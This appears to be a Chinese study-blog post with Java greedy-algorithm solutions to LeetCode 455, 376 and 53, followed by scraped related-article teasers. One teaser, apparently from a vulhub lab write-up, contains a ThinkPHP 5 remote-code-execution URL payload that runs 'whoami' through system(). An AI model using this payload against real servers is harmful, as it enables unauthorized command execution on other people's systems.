【代码随想录Day27】贪心算法Part01

ops/2024/12/23 0:14:23/

理论基础

题目链接/文章讲解:代码随想录
视频讲解:算法>贪心算法理论基础!_哔哩哔哩_bilibili

455.分发饼干

题目链接/文章讲解:代码随想录
视频讲解:算法>贪心算法,你想先喂哪个小孩?| LeetCode:455.分发饼干_哔哩哔哩_bilibili

一开始使用了双重循环,时间复杂度为 ( O ( n × m ) ) (O(n \times m)) (O(n×m)),其中 ( n ) (n) (n)g 的长度, ( m ) (m) (m)s 的长度,会超出时间限制。我们可以通过使用双指针的方法将时间复杂度优化到 ( O ( n + m ) ) (O(n + m)) (O(n+m))

java">class Solution {public int findContentChildren(int[] g, int[] s) {// 首先对两个数组进行排序Arrays.sort(g);Arrays.sort(s);int count = 0;int i = 0; // 指向孩子的指针int j = 0; // 指向饼干的指针// 使用双指针遍历两个数组while (i < g.length && j < s.length) {if (s[j] >= g[i]) {// 如果当前饼干可以满足当前孩子,则计数加一,并且两个指针都向前移动count++;i++;j++;} else {// 如果当前饼干不能满足当前孩子,则只移动饼干的指针j++;}}return count;}
}

376. 摆动序列

题目链接/文章讲解:代码随想录
视频讲解:算法>贪心算法,寻找摆动有细节!| LeetCode:376.摆动序列_哔哩哔哩_bilibili

java">class Solution {public int wiggleMaxLength(int[] nums) {if (nums.length < 2) {return nums.length;}int prevDiff = nums[1] - nums[0];int count = prevDiff != 0 ? 2 : 1; // 如果前两个数相同,则摆动序列长度为1,否则为2for (int i = 2; i < nums.length; i++) {int currDiff = nums[i] - nums[i - 1];if ((currDiff > 0 && prevDiff <= 0) || (currDiff < 0 && prevDiff >= 0)) {count++;prevDiff = currDiff;}}return count;}
}

53. 最大子序和

题目链接/文章讲解:代码随想录
视频讲解:算法>贪心算法的巧妙需要慢慢体会!LeetCode:53. 最大子序和_哔哩哔哩_bilibili

java">class Solution {public int maxSubArray(int[] nums) {int maxSum = Integer.MIN_VALUE; // 初始化最大和为最小整数值int sum = 0; // 初始化当前子数组的和为0for (int i = 0; i < nums.length; i++) {sum += nums[i]; // 累加当前元素到当前子数组的和// 更新最大和if (sum > maxSum) {maxSum = sum;}// 如果当前子数组的和为负数,重置为0if (sum < 0) {sum = 0;}}return maxSum;}
}

http://www.ppmy.cn/ops/118242.html

相关文章

NLP 文本分类任务核心梳理

解决思路 分解为多个独立二分类任务将多标签分类转化为多分类问题更换 loss 直接由模型进行多标签分类 数据稀疏问题 标注更多数据&#xff0c;核心解决方案&#xff1a; 自己构造训练样本 数据增强&#xff0c;如使用 chatGPT 来构造数据更换模型 减少数据需求增加规则弥补…

R包:VennDiagram韦恩图

加载R包 library(VennDiagram)数据 # Prepare character vectors v1 <- c("DKK1", "NPC1", "NAPG", "ERG", "VHL", "BTD", "MALL", "HAUS1") v2 <- c("SMAD4", "DKK1…

01_OpenCV图片读取与展示

import cv2 img cv2.imread(夕阳.jpg, 1) #cv2.imshow(image, img) #此行只能命令行处py文件执行&#xff0c;会弹出一个视频窗口 #cv2.waitKey (0)以下会在jupyter Lab控件中显示读取的图像 #bgr8转jpeg格式 import enum import cv2def bgr8_to_jpeg(value, quality75):ret…

框架漏洞(5-rce s2-057 CVE-2017-8046 CVE-2018-1273 Shiro-550)

5-rce 步骤一&#xff1a;环境部署 cd vulhub/thinkphp/5-rce docker-compose up -d 步骤二&#xff1a;输入系统命令: whoami /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 步骤三&#xff1a;写…

Python基础语句教学

Python是一种高级的编程语言&#xff0c;由Guido van Rossum于1991年创建。它以简单易读的语法和强大的功能而闻名&#xff0c;被广泛用于科学计算、Web开发、数据分析等领域。 Python的应用领域广泛&#xff0c;可以用于开发桌面应用程序、Web应用、游戏、数据分析、人工智能等…

在Docker中运行Tomcat:打造高效可移植的Java Web服务器

随着Docker的兴起&#xff0c;容器化技术已经成为现代软件开发和部署不可或缺的一部分。Tomcat作为Java EE的官方Servlet容器&#xff0c;广泛用于部署Java Web应用程序。将Tomcat与Docker结合使用&#xff0c;可以极大地提升应用的部署效率、可移植性和可扩展性。本文将引导您…

AI 文生图快速入门教程:让 Stable Diffusion 更易于上手

Stable Diffusion 是一个强大的 AI 图像生成工具&#xff0c;但它可能会消耗大量资源。在本指南中&#xff0c;我们将学习如何使用 AUTOMATIC1111 的 Stable Diffusion WebUI 来设置它。同时&#xff0c;我们将在 DigitalOcean GPU Droplet 云服务器上运行它&#xff0c;通过 H…

函数内部的 arguments 变量特性,属性,如何将他转换为数组

在JavaScript中&#xff0c;arguments 对象是一个类数组对象&#xff0c;它包含了传递给函数的所有参数。这个对象不是真正的数组&#xff0c;但它有一些与数组相似的特性。下面将介绍 arguments 对象的特性、属性以及如何将其转换为数组。 arguments 对象的特性 类数组对象&…